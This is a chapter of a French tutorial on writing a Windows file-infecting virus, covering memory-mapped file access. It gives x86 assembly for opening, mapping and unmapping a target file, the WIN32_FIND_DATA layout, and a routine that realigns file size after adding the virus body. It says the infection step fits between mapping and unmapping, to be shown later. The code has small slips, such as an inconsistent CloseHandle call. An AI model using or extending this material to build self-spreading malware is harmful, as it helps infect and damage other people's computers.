CHAPITRE 6 - LE MAPPING

Bon, je vais lâcher la rédaction de ce guide quelque temps. Non pas que je m’ennuie, mais je viens d’acheter une figurine de Kenshin (à la base j’étais parti m’inscrire à la fac) que j’ai très envie de peindre, alors ne m’en voulez pas trop;). Valà, vous vous n’y voyez que du feu, mais en fait entre cette phrase et la précédente, il s’est passé 3 jours. Je ne suis pas très satisfait du résultat final, même si tous ceux qui l’ont vu la trouvent très jolie… En plus j’ai une grosse ampoule au pouce à cause de street fighter… Bon, je crois que vous n’en avez pas grand chose à faire de mes histoires, alors on reprend notre guide. Tsss, bande d’ingrats!

1) Définition

Le mapping consiste à créer une copie conforme (en mémoire) d’un fichier sur disque, à modifier cette copie et ensuite appliquer les modifications au fichier initial (sur disque). Enfin, on supprime la copie (en fait on libère l’espace mémoire occupé par cette copie).

2) Les API utilisées

On utilise 5 API; les 3 premières se chargent de créer la copie en mémoire, et les 2 autres nous permettent de fermer le fichier une fois qu’il a été modifié. Je vais vous présenter brièvement ces API. Comme les autres, elles ont besoin de certains paramètres pour fonctionner, ces paramètres seront donnés dans le paragraphe suivant.

- CreateFileA: ouvre ou crée un fichier et nous retourne un handle pour ce fichier.

- CreateFileMappingA: prépare la copie en mémoire et nous revoie un handle (quand je vous disais que windoz créait des handles pour tout… Vous me croyez maintenant?) pour le mapping.

- MapViewOfFile: crée la copie proprement dite, et nous renvoie non pas un handle (bé non, pas à chaque fois faut pas pousser), mais l’adresse où se trouve la copie.

- UnmapViewOfFile: unmap la copie, elle n’est plus accessible.

- CloseHandle: cette API est utilisé 2 fois de suite: une fois pour fermer le handle du mapping et une seconde fois pour fermer le handle du fichier.

3)La structure WIN32_FIND_DATA

Je ne savais pas trop où mettre ce truc, alors comme on va s’en servir très prochainement ben je le mets là! Moi ça me fait un peu penser à la DTA des programmes DOS mais en plus chiant. Si vous n’avez jamais entendu parlé de DTA c’est pas grave, sauf pour les warriors qui projettent d’écrire un virus DOS. La WFD est une structure qui contient les attributs du fichier, tels que son nom, sa taille, etc… Je vous montre à quoi ça ressemble:

WIN32_FIND_DATA

WFD_dwFileAttibutes dd ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh dd ?

WFD_nFileSizeLow dd ?

WFD_dwReserved0 dd ?

WFD_dwReserved1 dd ?

WFD_szFileName db 260 dup (?)

WFD_szAlternateFileName db 13 dup (?)

db 03 dup (?)

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

Voilà, c’est une façon comme une autre de la présenter; par exemple on peut remplacer

WFD_ftCreationTime FILETIME ?

par WFD_ftCreationTime dd ?

dd ?

etc… Bon, on ne va pas s’éterniser parce que je ne vois pas trop quoi dire d’autre là dessus.

4) Alignement

C’est pareil, je savais pas trop où mettre ça alors je le met là car on va s’en servir bientôt… L’alignement consiste à rendre la taille d’un fichier ou d’une section multiple de ce nombre. Par exemple si le file_alignment d’un fichier est 200h, alors sa taille pourra être de 200h 400h, etc… On le trouve dans l’optional_header. Lorsqu’un fichier est infecté sa taille change, il faut donc lui en donner une nouvelle qui tient compte de l’alignement, c’est tout. Voici un exemple de routine d‘alignement:

mov ecx, [ebp+FileAlign] ;On met dans ecx le facteur à respecter (200h dans l’exemple ci-dessus).

mov eax, dword ptr [ebp+ WFD_nFileSizeLow] ; Dans eax on met la valeur à aligner, c’est à dire la

add eax, virus_size ; taille du fichier infecté.

push edx ; Sauvegarde edx si on s’en servait avant

xor edx, edx ; puis on le met à 0.

div ecx ; Divise eax par le facteur d’alignement.

inc eax ; Incrémente eax

mul ecx ; Qu’on multiplie par le facteur d’alignement.

pop edx ; Restaure le edx du départ.

note: L’instruction div considère que le dividende est dans eax; ensuite le quotient va dans eax et le reste dans edx. Les plus tatillons remarqueront qu’on ne vérifie pas si le reste dans edx est nul; eh bien sachez que j’assume complètement mon statut de gros sale!

5) Code that shit!

Je vous donne un exemple de mapping. Dans le virus final, on réalisera deux mapping: le premier servira à voir si le fichier est déjà infecté, et s’il ne l’est pas on mappera une deuxième fois pour l’infecter. Vous vous demandez peut être pourquoi on n’infecte pas le fichier lors du premier mapping? La réponse est simple:

Quand on va vouloir infecter le fichier, il va falloir créer une image dont la taille est supérieure à celle du fichier original, afin de tenir compte de la taille du virus. Maintenant, imaginez qu’on veuille faire la vérification et l’infection dans un même mapping: si le fichier est déjà infecté, on va créer une image dont la taille sera: fichier_infecté+virus (puisqu’à ce stade on ne sait pas encore si le fichier est infecté). Cela revient à comptabiliser 2 fois le virus, ce qui peut poser des problèmes quant à la taille de l’image. Il vaut donc mieux faire un mapping de vérification puis un mapping d’infection.

La première étape consiste à obtenir un handle du fichier:

xor eax, eax ; L’API CreateFileA a besoin qu’on lui passe pas mal de

push eax ; paramètres égaux à 0, et utiliser n fois un registre mis à 0

push eax ; prend moins de place que n PUSH 00h (si n>1).

push 00000003h ; Ca c’est le 3ème paramètre.

push eax ; Là c’est encore un PUSH 00h.

inc eax ; Par contre le 5ème paramètre c’est un PUSH 01h.

push 80000000h or 40000000h ; Indique qu’on veut un accès au fichier en lecture-écriture.

mov ecx, [ebp+WFD_szFileName] ; Ecx contient le nom du fichier,

push ecx ; c’est le 6ème paramètre.

call [ebp+AdrCreateFileA] ; On appelle l’API qui nous retourne dans eax le handle voulu,

mov [ebp+FileHandle], eax ; qu’on sauvegarde pour plus tard.

La deuxième étape, c’est l’obtention du handle pour le mapping:

mov ecx, [ebp+ WFD_nFileSizeLow] ; Met dans ecx la taille à mapper.

xor eax, eax ; Ici on va passer pleins de paramètre à

push eax ; CreateFileMappingA…

push ecx ; pompompom…

push eax ; trilali…

push 00000004h ; encore un paramètre…

push eax ; et encore un pour être sur…

push dword ptr [ebp+FileHandle] ; valà le 6ème et dernier paramètre.

call [ebp+AdrCreateFileMappingA] ; Appelle l’API qui retourne dans eax le handle pour

mov [ebp+MapHandle], eax ; le mapping qu’on sauvegarde.

Troisième étape : on mappe le fichier et on obtient l’adresse mémoire de son image:

xor eax, eax ; Vous commencez à comprendre, je pense…

push ecx ; 1er paramètre = taille à mapper

push eax ; …

push eax ; …

push 00000002h ; …

push dword ptr [ebp+MapHandle] ; le dernier paramètre c’est le handle pour le mapping.

call [ebp+AdrMapViewOfFile] ; Mappe le fichier

mov [ebp+MapAddress], eax ; et sauvegarde son adresse en mémoire.

La quatrième étape c’est le démapping et la fermeture des handle précédemment crées:

push dword ptr [ebp+MapAddress] ; Pour unmapper une image il faut son adresse.

call [ebp+AdrUnmapViewOfFile] ; Appel à l’API qui s’en charge.

push [ebp+MapHandle] ; Donne l’adresse du handle pour le mapping

call [ebp+AdrCloseHandle] ; parce qu’on veut le fermer.

push [ebp+FileHandle] ; Même phrase qu’au dessus sauf qu’on remplace

call [ebp+CloseHandle] ; “mapping” par “fichier”.

Voilà, maintenant vous voyez à quoi ça ressemble. L’infection se passe entre les 3ème et 4ème étapes. Il me reste encore à vous présenter l’infection des fichiers cibles.